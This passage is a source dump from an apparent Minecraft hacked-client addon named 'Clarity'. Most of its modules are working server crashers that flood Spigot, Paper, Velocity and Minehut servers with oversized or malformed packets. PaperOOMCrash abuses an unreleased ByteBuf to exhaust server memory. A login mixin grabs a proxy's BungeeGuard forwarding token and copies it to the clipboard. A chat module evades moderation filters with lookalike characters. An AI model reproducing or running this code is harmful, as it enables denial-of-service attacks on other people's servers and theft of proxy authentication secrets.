 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.events.game.GameLeftEvent;
 5 | import meteordevelopment.meteorclient.events.world.TickEvent;
 6 | import meteordevelopment.meteorclient.settings.BoolSetting;
 7 | import meteordevelopment.meteorclient.settings.IntSetting;
 8 | import meteordevelopment.meteorclient.settings.Setting;
 9 | import meteordevelopment.meteorclient.settings.SettingGroup;
10 | import meteordevelopment.meteorclient.systems.modules.Module;
11 | import meteordevelopment.orbit.EventHandler;
12 | import net.minecraft.client.network.ClientPlayNetworkHandler;
13 | import net.minecraft.network.packet.c2s.play.*;
14 | import net.minecraft.recipe.NetworkRecipeId;
15 | 
16 | public class RecipeCrash extends Module {
17 |     public RecipeCrash() {
18 |         super(Main.CRASH_GROUP, "Recipe Crash", "Crashes Spigot & Vanilla Servers");
19 |     }
20 |     private final SettingGroup sg = settings.createGroup("recipe");
21 |     private final Setting<Boolean> disableOnLeave = sg.add(new BoolSetting.Builder()
22 |         .name("disable-on-leave")
23 |         .description("Disables spam when you leave a server.")
24 |         .defaultValue(true)
25 |         .build()
26 |     );
27 | 
28 |     @EventHandler
29 |     private void onGameLeft(GameLeftEvent event) {
30 |         if (disableOnLeave.get()) {
31 |             toggle();
32 |         }
33 |     }
34 | 
35 |     private final Setting<Integer> buffer = sg.add(new IntSetting.Builder()
36 |         .name("Amount")
37 |         .description("Amount of packets to send every tick")
38 |         .defaultValue(3000)
39 |         .min(1)
40 |         .max(100000)
41 |         .sliderMax(100000)
42 |         .build()
43 |     );
44 | 
45 |     @EventHandler
46 |     private void onTick(TickEvent.Post event) {
47 |         if (mc.player == null || mc.getNetworkHandler() == null) return;
48 |         ClientPlayNetworkHandler handler = mc.getNetworkHandler();
49 | 
50 |         for (int i = 0; i < buffer.get(); i++) {
51 |             NetworkRecipeId ohio = new NetworkRecipeId(Integer.MAX_VALUE);
52 |             handler.sendPacket(new RecipeBookDataC2SPacket(ohio));
53 |         }
54 |     }
55 | 
56 | }
57 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/crashers/SkillCrash.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules.crashers;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.events.game.GameLeftEvent;
 5 | import meteordevelopment.meteorclient.events.world.TickEvent;
 6 | import meteordevelopment.meteorclient.settings.*;
 7 | import meteordevelopment.meteorclient.systems.modules.Module;
 8 | import meteordevelopment.orbit.EventHandler;
 9 | import net.minecraft.client.network.ClientPlayNetworkHandler;
10 | import net.minecraft.network.packet.c2s.play.CommandExecutionC2SPacket;
11 | 
12 | public class SkillCrash extends Module {
13 |     private final SettingGroup sg = settings.createGroup("Command Exec");
14 | 
15 |     private final Setting<Boolean> disableOnLeave = sg.add(new BoolSetting.Builder()
16 |         .name("disable-on-leave")
17 |         .description("Disables spam when you leave a server.")
18 |         .defaultValue(true)
19 |         .build()
20 |     );
21 | 
22 |     @EventHandler
23 |     private void onGameLeft(GameLeftEvent event) {
24 |         if (disableOnLeave.get()) {
25 |             toggle();
26 |         }
27 |     }
28 | 
29 |     private final Setting<Integer> amount = sg.add(new IntSetting.Builder()
30 |         .name("Amount")
31 |         .description("Packets per tick.")
32 |         .defaultValue(15)
33 |         .min(1)
34 |         .max(100)
35 |         .sliderMax(100)
36 |         .build()
37 |     );
38 | 
39 |     private final Setting<Integer> buffer = sg.add(new IntSetting.Builder()
40 |         .name("Buffer")
41 |         .description("Spam buffer size.")
42 |         .defaultValue(32760)
43 |         .min(1)
44 |         .max(32760)
45 |         .sliderMax(32760)
46 |         .build()
47 |     );
48 | 
49 |     public SkillCrash() {
50 |         super(Main.CRASH_GROUP, "Skill Crash", "Spams CommandExecution packets with /skill and big amount of bytes.");
51 |     }
52 | 
53 |     @EventHandler
54 |     private void onTick(TickEvent.Post event) {
55 |         if (mc.player == null || mc.getNetworkHandler() == null) return;
56 | 
57 |         ClientPlayNetworkHandler handler = mc.getNetworkHandler();
58 |         String spam = "skill " + "\u200D".repeat(buffer.get());
59 | 
60 |         for (int i = 0; i < amount.get(); i++) {
61 |             handler.sendPacket(new CommandExecutionC2SPacket(spam));
62 |         }
63 |     }
64 | }
65 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/commands/ClickSlot.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.commands;
 2 | 
 3 | import com.mojang.brigadier.builder.LiteralArgumentBuilder;
 4 | import com.mojang.brigadier.arguments.IntegerArgumentType;
 5 | import com.mojang.brigadier.arguments.StringArgumentType;
 6 | import meteordevelopment.meteorclient.commands.Command;
 7 | import net.minecraft.command.CommandSource;
 8 | import net.minecraft.client.network.ClientPlayerEntity;
 9 | import net.minecraft.screen.slot.SlotActionType;
10 | 
11 | public class ClickSlot extends Command {
12 |     public ClickSlot() {
13 |         super("clickslot", "clickslot shit yk");
14 |     }
15 | 
16 |     @Override
17 |     public void build(LiteralArgumentBuilder<CommandSource> builder) {
18 |         builder.then(argument("slot", IntegerArgumentType.integer(0))
19 |             .then(argument("btn", IntegerArgumentType.integer(0, 1))
20 |                 .then(argument("count", IntegerArgumentType.integer(1))
21 |                     .then(argument("type", StringArgumentType.word())
22 |                         .executes(ctx -> {
23 |                             int slot = IntegerArgumentType.getInteger(ctx, "slot");
24 |                             int btn = IntegerArgumentType.getInteger(ctx, "btn");
25 |                             int count = IntegerArgumentType.getInteger(ctx, "count");
26 |                             String type = StringArgumentType.getString(ctx, "type");
27 |                             ClientPlayerEntity player = mc.player;
28 |                             if (player != null && mc.interactionManager != null && player.currentScreenHandler != null && slot < player.currentScreenHandler.slots.size()) {
29 |                                 try {
30 |                                     SlotActionType action = SlotActionType.valueOf(type.toUpperCase());
31 |                                     mc.execute(() -> {
32 |                                         for (int i = 0; i < count; i++) {
33 |                                             mc.interactionManager.clickSlot(player.currentScreenHandler.syncId, slot, btn, action, player);
34 |                                         }
35 |                                     });
36 |                                 } catch (IllegalArgumentException ignored) {}
37 |                             }
38 |                             return SINGLE_SUCCESS;
39 |                         })))));
40 |     }
41 | }
42 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/crashers/VelocityCrash.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules.crashers;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.events.game.GameLeftEvent;
 5 | import meteordevelopment.meteorclient.events.world.TickEvent;
 6 | import meteordevelopment.meteorclient.settings.*;
 7 | import meteordevelopment.meteorclient.systems.modules.Module;
 8 | import meteordevelopment.orbit.EventHandler;
 9 | import net.minecraft.client.network.ClientPlayNetworkHandler;
10 | import net.minecraft.network.packet.c2s.play.CommandExecutionC2SPacket;
11 | 
12 | public class VelocityCrash extends Module {
13 |     private final SettingGroup sg = settings.createGroup("Velocity");
14 | 
15 |     private final Setting<Boolean> disableOnLeave = sg.add(new BoolSetting.Builder()
16 |         .name("disable-on-leave")
17 |         .description("Disables spam when you leave a server.")
18 |         .defaultValue(true)
19 |         .build()
20 |     );
21 | 
22 |     @EventHandler
23 |     private void onGameLeft(GameLeftEvent event) {
24 |         if (disableOnLeave.get()) {
25 |             toggle();
26 |         }
27 |     }
28 | 
29 |     private final Setting<String> serverName = sg.add(new StringSetting.Builder()
30 |         .name("VeloWorld")
31 |         .description("Do /server to find the world you're currently in")
32 |         .defaultValue("lobby")
33 |         .build()
34 |     );
35 | 
36 |     private final Setting<Integer> amount = sg.add(new IntSetting.Builder()
37 |         .name("Amount")
38 |         .description("Packets every tick.")
39 |         .defaultValue(10000)
40 |         .min(1)
41 |         .max(250000)
42 |         .sliderMax(250000)
43 |         .build()
44 |     );
45 | 
46 |     private final Setting<Integer> buffer = sg.add(new IntSetting.Builder()
47 |         .name("Buffer")
48 |         .description("Buffer length.")
49 |         .defaultValue(200)
50 |         .min(0)
51 |         .max(256)
52 |         .sliderMax(256)
53 |         .build()
54 |     );
55 | 
56 |     public VelocityCrash() {
57 |         super(Main.CRASH_GROUP, "Velocity Crash", "Spams server switch command.");
58 |     }
59 | 
60 |     @EventHandler
61 |     private void onTick(TickEvent.Post event) {
62 |         if (mc.player == null || mc.getNetworkHandler() == null) return;
63 | 
64 |         ClientPlayNetworkHandler handler = mc.getNetworkHandler();
65 |         String spam = "server " + serverName.get() + " " + "\u200D".repeat(buffer.get());
66 | 
67 |         for (int i = 0; i < amount.get(); i++) {
68 |             handler.sendPacket(new CommandExecutionC2SPacket(spam));
69 |         }
70 |     }
71 | }
72 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/crashers/OhioCrash.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules.crashers;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.events.game.GameLeftEvent;
 5 | import meteordevelopment.meteorclient.events.world.TickEvent;
 6 | import meteordevelopment.meteorclient.settings.BoolSetting;
 7 | import meteordevelopment.meteorclient.settings.IntSetting;
 8 | import meteordevelopment.meteorclient.settings.Setting;
 9 | import meteordevelopment.meteorclient.settings.SettingGroup;
10 | import meteordevelopment.meteorclient.systems.modules.Module;
11 | import meteordevelopment.orbit.EventHandler;
12 | import net.minecraft.client.network.ClientPlayNetworkHandler;
13 | import net.minecraft.item.ItemStack;
14 | import net.minecraft.item.Items;
15 | import net.minecraft.network.packet.c2s.common.CommonPongC2SPacket;
16 | import net.minecraft.network.packet.c2s.common.CookieResponseC2SPacket;
17 | import net.minecraft.network.packet.c2s.common.ResourcePackStatusC2SPacket;
18 | import net.minecraft.network.packet.c2s.login.LoginKeyC2SPacket;
19 | import net.minecraft.network.packet.c2s.play.*;
20 | import net.minecraft.network.packet.c2s.query.QueryPingC2SPacket;
21 | import net.minecraft.recipe.NetworkRecipeId;
22 | import net.minecraft.util.math.BlockPos;
23 | 
24 | import java.util.UUID;
25 | 
26 | public class OhioCrash extends Module {
27 |     public OhioCrash() {
28 |         super(Main.CRASH_GROUP, "Ohio Crash", "Crashes Spigot & Vanilla Servers");
29 |     }
30 |     private final SettingGroup sg = settings.createGroup("recipe");
31 |     private final Setting<Boolean> disableOnLeave = sg.add(new BoolSetting.Builder()
32 |         .name("disable-on-leave")
33 |         .description("Disables spam when you leave a server.")
34 |         .defaultValue(true)
35 |         .build()
36 |     );
37 | 
38 |     @EventHandler
39 |     private void onGameLeft(GameLeftEvent event) {
40 |         if (disableOnLeave.get()) {
41 |             toggle();
42 |         }
43 |     }
44 | 
45 |     private final Setting<Integer> buffer = sg.add(new IntSetting.Builder()
46 |         .name("Amount")
47 |         .description("Amount of packets to send every tick")
48 |         .defaultValue(3000)
49 |         .min(1)
50 |         .max(100000)
51 |         .sliderMax(100000)
52 |         .build()
53 |     );
54 | 
55 |     @EventHandler
56 |     private void onTick(TickEvent.Post event) {
57 |         if (mc.player == null || mc.getNetworkHandler() == null) return;
58 |         ClientPlayNetworkHandler handler = mc.getNetworkHandler();
59 | 
60 |         for (int i = 0; i < buffer.get(); i++) {
61 |             ItemStack ohio = new ItemStack(Items.DIAMOND, Integer.MAX_VALUE);
62 |             handler.sendPacket(new MessageAcknowledgmentC2SPacket(-1));
63 |         }
64 |     }
65 | 
66 | }
67 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/crashers/PaperOOMCrash.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules.crashers;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import com.x310.clarity.utils.payload.PaperCustomPayload;
 5 | import meteordevelopment.meteorclient.events.game.GameLeftEvent;
 6 | import meteordevelopment.meteorclient.settings.*;
 7 | import meteordevelopment.meteorclient.systems.modules.Module;
 8 | import meteordevelopment.orbit.EventHandler;
 9 | import net.minecraft.client.network.ClientPlayNetworkHandler;
10 | import net.minecraft.network.packet.c2s.common.CustomPayloadC2SPacket;
11 | 
12 | public class PaperOOMCrash extends Module {
13 |     private final SettingGroup sg = settings.createGroup("Paper OOM");
14 |     private final Setting<Boolean> disableOnLeave = sg.add(new BoolSetting.Builder()
15 |         .name("disable-on-leave")
16 |         .description("Disables spam when you leave a server.")
17 |         .defaultValue(true)
18 |         .build()
19 |     );
20 | 
21 |     private void stopOomThread() {
22 |         running = false;
23 |         thread = null;
24 |     }
25 | 
26 |     @EventHandler
27 |     private void onGameLeft(GameLeftEvent event) {
28 |         if (disableOnLeave.get()) {
29 |             toggle();
30 |             stopOomThread();
31 |         }
32 |     }
33 | 
34 |     private final Setting<Integer> interval = sg.add(new IntSetting.Builder()
35 |         .name("Delay")
36 |         .description("Milliseconds between packets.")
37 |         .defaultValue(2)
38 |         .min(2)
39 |         .max(10)
40 |         .sliderMax(10)
41 |         .build()
42 |     );
43 | 
44 |     private Thread thread;
45 |     private volatile boolean running = false;
46 | 
47 |     public PaperOOMCrash() {
48 |         super(Main.CRASH_GROUP, "PaperOOM Crash", "Abuses a flaw where a ByteBuf is not properly released to cause OutOfMemoryError");
49 |     }
50 | 
51 |     @Override
52 |     public void onActivate() {
53 |         running = true;
54 |         thread = new Thread(() -> {
55 |             if (mc.player == null || mc.getNetworkHandler() == null) return;
56 |             ClientPlayNetworkHandler handler = mc.getNetworkHandler();
57 |             CustomPayloadC2SPacket packet = new CustomPayloadC2SPacket(new PaperCustomPayload(new byte[32000]));
58 | 
59 |             while (running) {
60 |                 try {
61 |                     handler.sendPacket(packet);
62 |                     Thread.sleep(interval.get());
63 |                 } catch (Exception e) {
64 |                     e.printStackTrace();
65 |                 }
66 |             }
67 |         });
68 |         thread.setName("PaperOOMCrash-Thread");
69 |         thread.setDaemon(true);
70 |         thread.start();
71 |     }
72 | 
73 |     @Override
74 |     public void onDeactivate() {
75 |         running = false;
76 |         thread = null;
77 |     }
78 | }
79 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/mixin/LoginHandlerMixin.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.mixin;
 2 | 
 3 | import com.mojang.authlib.properties.Property;
 4 | import com.mojang.authlib.properties.PropertyMap;
 5 | import com.x310.clarity.modules.BungeeGuard;
 6 | import com.x310.clarity.modules.ChannelFetch;
 7 | import meteordevelopment.meteorclient.systems.modules.Modules;
 8 | import net.minecraft.client.MinecraftClient;
 9 | import net.minecraft.client.network.ClientLoginNetworkHandler;
10 | import net.minecraft.network.packet.s2c.login.LoginSuccessS2CPacket;
11 | import net.minecraft.text.Text;
12 | import org.spongepowered.asm.mixin.Mixin;
13 | import org.spongepowered.asm.mixin.injection.At;
14 | import org.spongepowered.asm.mixin.injection.Inject;
15 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
16 | import java.io.IOException;
17 | import java.util.Timer;
18 | import java.util.TimerTask;
19 | 
20 | 
21 | @Mixin(ClientLoginNetworkHandler.class)
22 | public class LoginHandlerMixin {
23 |     public void copyToClipboard(String token) {
24 |         if (token != null && token.matches("^[a-zA-Z0-9]+$")) {
25 |             try {
26 |                 String command = "cmd /c echo " + token + " | clip";
27 |                 Process process = Runtime.getRuntime().exec(command);
28 |                 System.out.println(process.waitFor());
29 |             } catch (IOException | InterruptedException e) {
30 |                 e.printStackTrace();
31 |             }
32 |         } else {
33 |             System.err.println("Malicious Token Rejected");
34 |         }
35 |     }
36 | 
37 |     @Inject(method = "onSuccess", at = @At("HEAD"))
38 |     public void onSuccess(LoginSuccessS2CPacket packet, CallbackInfo ci) {
39 |         if (Modules.get().get(BungeeGuard.class).isActive()) {
40 |             System.out.println("Mixin injected into onSuccess()");
41 |             PropertyMap map = packet.profile().getProperties();
42 | 
43 |             Property tokenProperty = null;
44 |             for (Property property : map.values()) {
45 |                 if (property.name().equals("bungeeguard-token")) {
46 |                     tokenProperty = property;
47 |                     break;
48 |                 }
49 |             }
50 | 
51 |             String message;
52 | 
53 |             if (tokenProperty != null) {
54 |                 String token = tokenProperty.value();
55 |                 copyToClipboard(token);
56 |                 message = "§c[§6B§eu§an§3g§9e§5e§cG§6u§ea§ar§3d§9]§r Token found: " + token;
57 |             } else {
58 |                 message = "§c[§6B§eu§an§3g§9e§5e§cG§6u§ea§ar§3d§9]§r No token found";
59 |             }
60 | 
61 |             new Timer().schedule(new TimerTask() {
62 |                 @Override
63 |                 public void run() {
64 |                     MinecraftClient.getInstance().execute(() ->
65 |                         MinecraftClient.getInstance().inGameHud.getChatHud().addMessage(Text.of(message)));
66 |                 }
67 |             }, 3000);
68 |         }
69 |     }
70 | }
71 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/ChatBypass.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.events.game.SendMessageEvent;
 5 | import meteordevelopment.meteorclient.settings.BoolSetting;
 6 | import meteordevelopment.meteorclient.settings.Setting;
 7 | import meteordevelopment.meteorclient.settings.SettingGroup;
 8 | import meteordevelopment.meteorclient.systems.modules.Module;
 9 | import meteordevelopment.orbit.EventHandler;
10 | import net.minecraft.client.network.ClientPlayNetworkHandler;
11 | 
12 | public class ChatBypass extends Module {
13 |     private final SettingGroup sgGeneral = settings.createGroup("Chat Bypass");
14 | 
15 |     private final Setting<Boolean> unicodeBypass = sgGeneral.add(new BoolSetting.Builder()
16 |         .name("Unicode Bypass")
17 |         .description("Replaces letters with Unicode lookalikes.")
18 |         .defaultValue(false)
19 |         .build()
20 |     );
21 | 
22 |     private final Setting<Boolean> meBypass = sgGeneral.add(new BoolSetting.Builder()
23 |         .name("Me Bypass")
24 |         .description("Adds /m:me before your message.")
25 |         .defaultValue(false)
26 |         .build()
27 |     );
28 | 
29 |     private final Setting<Boolean> skillBypass = sgGeneral.add(new BoolSetting.Builder()
30 |         .name("Skill Bypass")
31 |         .description("Adds /skill before your message which bypasses spam limit.")
32 |         .defaultValue(false)
33 |         .build()
34 |     );
35 | 
36 |     public ChatBypass() {
37 |         super(Main.CATEGORY, "Chat Bypass", "Bypass chat blocking plugins.");
38 |     }
39 | 
40 |     @EventHandler()
41 |     public void onSendMessage(SendMessageEvent event) {
42 |         String message = event.message;
43 | 
44 |         if (unicodeBypass.get() && !message.startsWith("/")) {
45 |             message = replaceWithUnicode(message);
46 |         }
47 | 
48 |         if (meBypass.get() && !message.startsWith("/")) {
49 |             message = "/minecraft:me " + message;
50 |         }
51 | 
52 |         if (skillBypass.get() && !message.startsWith("/")) {
53 |             message = "/skill " + message;
54 |         }
55 |         // im gonna kms thanks nxyi
56 |         event.message = message;
57 | 
58 |         if (!event.message.startsWith("/skill") && event.message.startsWith("/")){
59 |             ClientPlayNetworkHandler handler = mc.getNetworkHandler();
60 |             handler.sendChatCommand(message.substring(1));
61 |             event.cancel();
62 |         }
63 |     }
64 | 
65 |     private String replaceWithUnicode(String input) {
66 |         // shitcode pls ignore thanks
67 |         return input.replace('a', 'а').replace('c', 'с').replace('e', 'е').replace('i', 'і')
68 |             .replace('j', 'ј').replace('o', 'о').replace('p', 'р').replace('s', 'ѕ')
69 |             .replace('x', 'х').replace('y', 'у').replace('A', 'А').replace('B', 'В')
70 |             .replace('C', 'С').replace('E', 'Е').replace('H', 'Н').replace('I', 'І')
71 |             .replace('K', 'Κ').replace('M', 'М').replace('N', 'Ν').replace('O', 'О')
72 |             .replace('P', 'Р').replace('S', 'Ѕ').replace('T', 'Т').replace('X', 'Х')
73 |             .replace('Y', 'Υ').replace('Z', 'Ζ');
74 |     }
75 | }
76 | 


--------------------------------------------------------------------------------
/gradlew.bat:
--------------------------------------------------------------------------------
 1 | @rem
 2 | @rem Copyright 2015 the original author or authors.
 3 | @rem
 4 | @rem Licensed under the Apache License, Version 2.0 (the "License");
 5 | @rem you may not use this file except in compliance with the License.
 6 | @rem You may obtain a copy of the License at
 7 | @rem
 8 | @rem      https://www.apache.org/licenses/LICENSE-2.0
 9 | @rem
10 | @rem Unless required by applicable law or agreed to in writing, software
11 | @rem distributed under the License is distributed on an "AS IS" BASIS,
12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | @rem See the License for the specific language governing permissions and
14 | @rem limitations under the License.
15 | @rem
16 | @rem SPDX-License-Identifier: Apache-2.0
17 | @rem
18 | 
19 | @if "%DEBUG%"=="" @echo off
20 | @rem ##########################################################################
21 | @rem
22 | @rem  Gradle startup script for Windows
23 | @rem
24 | @rem ##########################################################################
25 | 
26 | @rem Set local scope for the variables with windows NT shell
27 | if "%OS%"=="Windows_NT" setlocal
28 | 
29 | set DIRNAME=%~dp0
30 | if "%DIRNAME%"=="" set DIRNAME=.
31 | @rem This is normally unused
32 | set APP_BASE_NAME=%~n0
33 | set APP_HOME=%DIRNAME%
34 | 
35 | @rem Resolve any "." and ".." in APP_HOME to make it shorter.
36 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
37 | 
38 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
39 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
40 | 
41 | @rem Find java.exe
42 | if defined JAVA_HOME goto findJavaFromJavaHome
43 | 
44 | set JAVA_EXE=java.exe
45 | %JAVA_EXE% -version >NUL 2>&1
46 | if %ERRORLEVEL% equ 0 goto execute
47 | 
48 | echo. 1>&2
49 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2
50 | echo. 1>&2
51 | echo Please set the JAVA_HOME variable in your environment to match the 1>&2
52 | echo location of your Java installation. 1>&2
53 | 
54 | goto fail
55 | 
56 | :findJavaFromJavaHome
57 | set JAVA_HOME=%JAVA_HOME:"=%
58 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
59 | 
60 | if exist "%JAVA_EXE%" goto execute
61 | 
62 | echo. 1>&2
63 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2
64 | echo. 1>&2
65 | echo Please set the JAVA_HOME variable in your environment to match the 1>&2
66 | echo location of your Java installation. 1>&2
67 | 
68 | goto fail
69 | 
70 | :execute
71 | @rem Setup the command line
72 | 
73 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
74 | 
75 | 
76 | @rem Execute Gradle
77 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
78 | 
79 | :end
80 | @rem End local scope for the variables with windows NT shell
81 | if %ERRORLEVEL% equ 0 goto mainEnd
82 | 
83 | :fail
84 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
85 | rem the _cmd.exe /c_ return code!
86 | set EXIT_CODE=%ERRORLEVEL%
87 | if %EXIT_CODE% equ 0 set EXIT_CODE=1
88 | if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE%
89 | exit /b %EXIT_CODE%
90 | 
91 | :mainEnd
92 | if "%OS%"=="Windows_NT" endlocal
93 | 
94 | :omega
95 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/crashers/SkillCrash2.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules.crashers;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.events.game.GameLeftEvent;
 5 | import meteordevelopment.meteorclient.events.world.TickEvent;
 6 | import meteordevelopment.meteorclient.mixin.ClientPlayNetworkHandlerAccessor;
 7 | import meteordevelopment.meteorclient.settings.*;
 8 | import meteordevelopment.meteorclient.systems.modules.Module;
 9 | import meteordevelopment.orbit.EventHandler;
10 | import net.minecraft.client.network.ClientPlayNetworkHandler;
11 | import net.minecraft.network.encryption.NetworkEncryptionUtils;
12 | import net.minecraft.network.message.LastSeenMessagesCollector;
13 | import net.minecraft.network.message.MessageBody;
14 | import net.minecraft.network.message.MessageSignatureData;
15 | import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket;
16 | import net.minecraft.network.packet.c2s.play.CommandExecutionC2SPacket;
17 | 
18 | import java.time.Instant;
19 | 
20 | public class SkillCrash2 extends Module {
21 |     private final SettingGroup sg = settings.createGroup("Command Exec");
22 | 
23 |     private final Setting<Boolean> disableOnLeave = sg.add(new BoolSetting.Builder()
24 |         .name("disable-on-leave")
25 |         .description("Disables spam when you leave a server.")
26 |         .defaultValue(true)
27 |         .build()
28 |     );
29 | 
30 |     @EventHandler
31 |     private void onGameLeft(GameLeftEvent event) {
32 |         if (disableOnLeave.get()) {
33 |             toggle();
34 |         }
35 |     }
36 | 
37 |     private final Setting<Integer> amount = sg.add(new IntSetting.Builder()
38 |         .name("Amount")
39 |         .description("Packets per tick.")
40 |         .defaultValue(15)
41 |         .min(1)
42 |         .max(100)
43 |         .sliderMax(100)
44 |         .build()
45 |     );
46 | 
47 |     private final Setting<Integer> buffer = sg.add(new IntSetting.Builder()
48 |         .name("Buffer")
49 |         .description("Spam buffer size.")
50 |         .defaultValue(248)
51 |         .min(1)
52 |         .max(249)
53 |         .sliderMax(249)
54 |         .build()
55 |     );
56 | 
57 |     public SkillCrash2() {
58 |         super(Main.CRASH_GROUP, "Minehut Crash", "Spams ChatMessageC2SPacket packets with /skill and big amount of bytes.");
59 |     }
60 | 
61 |     @EventHandler
62 |     private void onTick(TickEvent.Post event) {
63 |         if (mc.player == null || mc.getNetworkHandler() == null) return;
64 | 
65 |         ClientPlayNetworkHandler handler = mc.getNetworkHandler();
66 |         String spam = "/skill " + "\uE400".repeat(buffer.get());
67 |         Instant instant = Instant.now();
68 |         long l = NetworkEncryptionUtils.SecureRandomUtil.nextLong();
69 |         LastSeenMessagesCollector.LastSeenMessages lastSeenMessages = ((ClientPlayNetworkHandlerAccessor) handler).getLastSeenMessagesCollector().collect();
70 |         MessageSignatureData messageSignatureData = ((ClientPlayNetworkHandlerAccessor) handler).getMessagePacker().pack(new MessageBody(spam, instant, l, lastSeenMessages.lastSeen()));
71 | 
72 |         for (int i = 0; i < amount.get(); i++) {
73 |             handler.sendPacket(new ChatMessageC2SPacket(spam, instant, l, messageSignatureData, lastSeenMessages.update()));
74 |         }
75 |     }
76 | }
77 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/modules/PacketDelay.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity.modules;
 2 | 
 3 | import com.x310.clarity.Main;
 4 | import meteordevelopment.meteorclient.events.packets.PacketEvent;
 5 | import meteordevelopment.meteorclient.settings.PacketListSetting;
 6 | import meteordevelopment.meteorclient.settings.Setting;
 7 | import meteordevelopment.meteorclient.settings.SettingGroup;
 8 | import meteordevelopment.meteorclient.systems.modules.Categories;
 9 | import meteordevelopment.meteorclient.systems.modules.Module;
10 | import meteordevelopment.meteorclient.utils.network.PacketUtils;
11 | import meteordevelopment.orbit.EventHandler;
12 | import meteordevelopment.orbit.EventPriority;
13 | import net.minecraft.network.packet.Packet;
14 | import net.minecraft.network.listener.ClientPlayPacketListener;
15 | 
16 | import java.util.ArrayList;
17 | import java.util.List;
18 | import java.util.Set;
19 | 
20 | public class PacketDelay extends Module {
21 |     private final SettingGroup sgGeneral = settings.getDefaultGroup();
22 | 
23 |     private final Setting<Set<Class<? extends Packet<?>>>> s2cPackets = sgGeneral.add(new PacketListSetting.Builder()
24 |         .name("s2c-packets")
25 |         .description("s2c packets to hold until module is disabled.")
26 |         .filter(aClass -> PacketUtils.getS2CPackets().contains(aClass))
27 |         .build()
28 |     );
29 | 
30 |     private final Setting<Set<Class<? extends Packet<?>>>> c2sPackets = sgGeneral.add(new PacketListSetting.Builder()
31 |         .name("c2s-packets")
32 |         .description("c2s packets to hold until module is disabled.")
33 |         .filter(aClass -> PacketUtils.getC2SPackets().contains(aClass))
34 |         .build()
35 |     );
36 | 
37 |     private final List<Packet<?>> delayedPackets = new ArrayList<>();
38 | 
39 |     public PacketDelay() {
40 |         super(Main.CATEGORY, "packet-delay", "Holds packets then releases them when module is disabled");
41 |     }
42 | 
43 |     @Override
44 |     public void onDeactivate() {
45 |         for (Packet<?> packet : delayedPackets) {
46 |             if (PacketUtils.getS2CPackets().contains(packet.getClass())) {
47 |                 if (mc.getNetworkHandler() != null) {
48 |                     @SuppressWarnings("unchecked")
49 |                     Packet<ClientPlayPacketListener> s2cPacket = (Packet<ClientPlayPacketListener>) packet;
50 |                     s2cPacket.apply(mc.getNetworkHandler());
51 |                 }
52 |             } else if (PacketUtils.getC2SPackets().contains(packet.getClass())) {
53 |                 if (mc.getNetworkHandler() != null) {
54 |                     mc.getNetworkHandler().sendPacket(packet);
55 |                 }
56 |             }
57 |         }
58 |         delayedPackets.clear();
59 |     }
60 | 
61 |     @EventHandler(priority = EventPriority.HIGHEST + 1)
62 |     private void onReceivePacket(PacketEvent.Receive event) {
63 |         if (s2cPackets.get().contains(event.packet.getClass())) {
64 |             delayedPackets.add(event.packet);
65 |             event.cancel();
66 |         }
67 |     }
68 | 
69 |     @EventHandler(priority = EventPriority.HIGHEST + 1)
70 |     private void onSendPacket(PacketEvent.Send event) {
71 |         if (c2sPackets.get().contains(event.packet.getClass())) {
72 |             delayedPackets.add(event.packet);
73 |             event.cancel();
74 |         }
75 |     }
76 | }
77 | 


--------------------------------------------------------------------------------
/src/main/java/com/x310/clarity/Main.java:
--------------------------------------------------------------------------------
 1 | package com.x310.clarity;
 2 | 
 3 | import com.x310.clarity.commands.*;
 4 | import com.x310.clarity.hud.Arraylist;
 5 | import com.x310.clarity.hud.ClarityChan;
 6 | import com.x310.clarity.hud.Logo;
 7 | import com.x310.clarity.hud.Watermark;
 8 | import com.mojang.logging.LogUtils;
 9 | import com.x310.clarity.modules.*;
10 | import com.x310.clarity.modules.crashers.*;
